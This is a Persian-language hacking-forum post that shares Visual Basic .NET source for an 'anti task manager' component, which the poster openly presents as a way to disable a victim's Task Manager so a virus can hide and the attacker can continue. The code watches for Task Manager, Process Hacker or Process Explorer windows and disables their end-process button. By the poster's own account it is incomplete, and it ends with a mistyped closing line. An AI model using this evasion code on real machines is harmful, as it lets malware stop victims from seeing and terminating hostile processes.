• Sky
  • Blueberry
  • Slate
  • Blackcurrant
  • Watermelon
  • Strawberry
  • Orange
  • Banana
  • Apple
  • Emerald
  • Chocolate
  • Charcoal

عضویت ویژه طلایی گارد ایران با تخفیف 50%

برای عضویت کلیک کنید

alizombie

anti task manager

1 ارسال در این موضوع قرار دارد

با سلام خدمت شما دوستان گرامی

در این تاپیک میخواهم سورس برنامه ای در vb که خودم مدت ها دنبال ان بودم قرار دهم...... چون اکثر ویروس های اولیه

در تسک منیجر نمایش داده می شد :D

شما با این برنامه میتوانید تسک منیجر قربانی را غیر فعال کنید ورا را برای اقدامات بعدی شما باز میکند

 

این سورس به زبان vb است که انرا از یک دوست انگلیسی به زحمت گرفتم ....البته این همه ی سورس نیست B)

اینم از سورس برنامه:

  1.  
  2. Public Class AntiTaskManager
  3. <Runtime.InteropServices.DllImport("user32.dll")> _
  4. Private Shared Function EnableWindow(ByVal hWnd As IntPtr, ByVal bEnable As Boolean) As Boolean
  5. End Function
  6. Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As _
  7. IntPtr, ByRef lpdwProcessID As Integer) As Integer
  8. Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
  9. Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As _
  10. Integer, ByVal lpClassName As String, ByVal nMaxCount As Integer) As Integer
  11. Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal _
  12. hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As String) As Integer
  13. Private Declare Auto Function GetWindowText Lib "user32.dll" (ByVal hwnd As Int32, _
  14. ByVal lpString As System.Text.StringBuilder, ByVal cch As Int32) As Int32
  15. Private Declare Auto Function GetWindowTextLength Lib "user32.dll" (ByVal hwnd As Int32) As Int32
  16. Private Delegate Function EnumWindProc(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean
  17. Private Delegate Function EnumChildWindProc(ByVal hWnd As Int32, ByVal _
  18. lParam As Int32) As Boolean
  19. Private Declare Function EnumChildWindows Lib "user32" (ByVal hWnd As IntPtr, _
  20. ByVal lpEnumFunc As EnumWindProc, ByRef lParam As IntPtr) As Int32
  21. Private Function EnumChild(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean
  22. CLD.Add(hWnd)
  23. Return True
  24. End Function
  25. Public Sub protect()
  26. While True
  27. Threading.Thread.Sleep(0)
  28. Dim hwd = GetForegroundWindow
  29. If hwd.ToInt32 = 0 Then Continue While
  30. Dim id As Integer = 0
  31. GetWindowThreadProcessId(hwd, id)
  32. If id > 0 Then
  33. Dim Title As String = ""
  34. Dim text_len As Integer = GetWindowTextLength(hwd)
  35. If text_len = 0 Then
  36. Title = ""
  37. Else
  38. Dim sb As New System.Text.StringBuilder(text_len + 1)
  39. Dim ret = GetWindowText(hwd, sb, sb.Capacity)
  40. If ret = 0 Then
  41. Title = ""
  42. Else
  43. Title = sb.ToString
  44. End If
  45. End If
  46. Dim p As Process = Process.GetProcessById(id)
  47. If p.ProcessName.ToLower = "taskmgr" Or p.ProcessName.ToLower _
  48. = "processhacker" Or Title.ToLower = "process explorer" Then
  49. Dim button As New List(Of IntPtr)
  50. Dim statics As Integer = 0
  51. For Each x As IntPtr In GetChild(hwd)
  52. Dim className As String = Space(200)
  53. Dim ln As Integer = GetClassName(x, className, 200)
  54. className = className.Remove(ln, 200 - ln)
  55. If className.ToLower = "button" Then
  56. button.Add(x)
  57. End If
  58. If className.ToLower = "static" Or className.ToLower _
  59. = "directuihwnd" Then
  60. statics += 1
  61. End If
  62. Next
  63. If button.Count = 2 And (statics = 2 Or statics = 1) Then
  64. EnableWindow(button(0), False)
  65. SendMessage(button(0), &HC, 0, "")
  66. End If
  67. End If
  68. End If
  69. End While
  70. End Sub
  71. Private CLD As New List(Of IntPtr)
  72. Private Function GetChild(ByVal hwd As IntPtr) As IntPtr()
  73. SyncLock Me
  74. CLD.Clear()
  75. EnumChildWindows(hwd, New EnumWindProc(AddressOf EnumChild), 0)
  76. Return CLD.ToArray
  77. End SyncLock
  78. End Function
  79. End Task

اگر سوالی داشتید و خوش حال میشوم که بتوانم به شما کمکی کنم پس در  تاپیک سوال  ها ..سوال خود را اعلام کنید تا به شما پاسخ دهم و

تشکر هم فراموش نشود هر چه استقبال ها بیشتر باشد مطالب بهتر و جدید تر به شما اموزش خواهم داد

با تشکر B)

aliakbari و KingSlayer پسند شده است

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری

درباره ی ما

تیم امنیتی گارد ایران یک گروه مستقل است که قوانین آن با خط مشی جمهوری اسلامی ایران مغایرت ندارد. تیم امنیتی گارد ایران از سال 1393 فعالیت خود را آغاز کرد و هدف این تیم تامین امنیت سایت ها و سرورهای ایرانی است. تیم ما همیشه برای دفاع از مرزهای سایبری سرزمین عزیزمان ایران آماده است.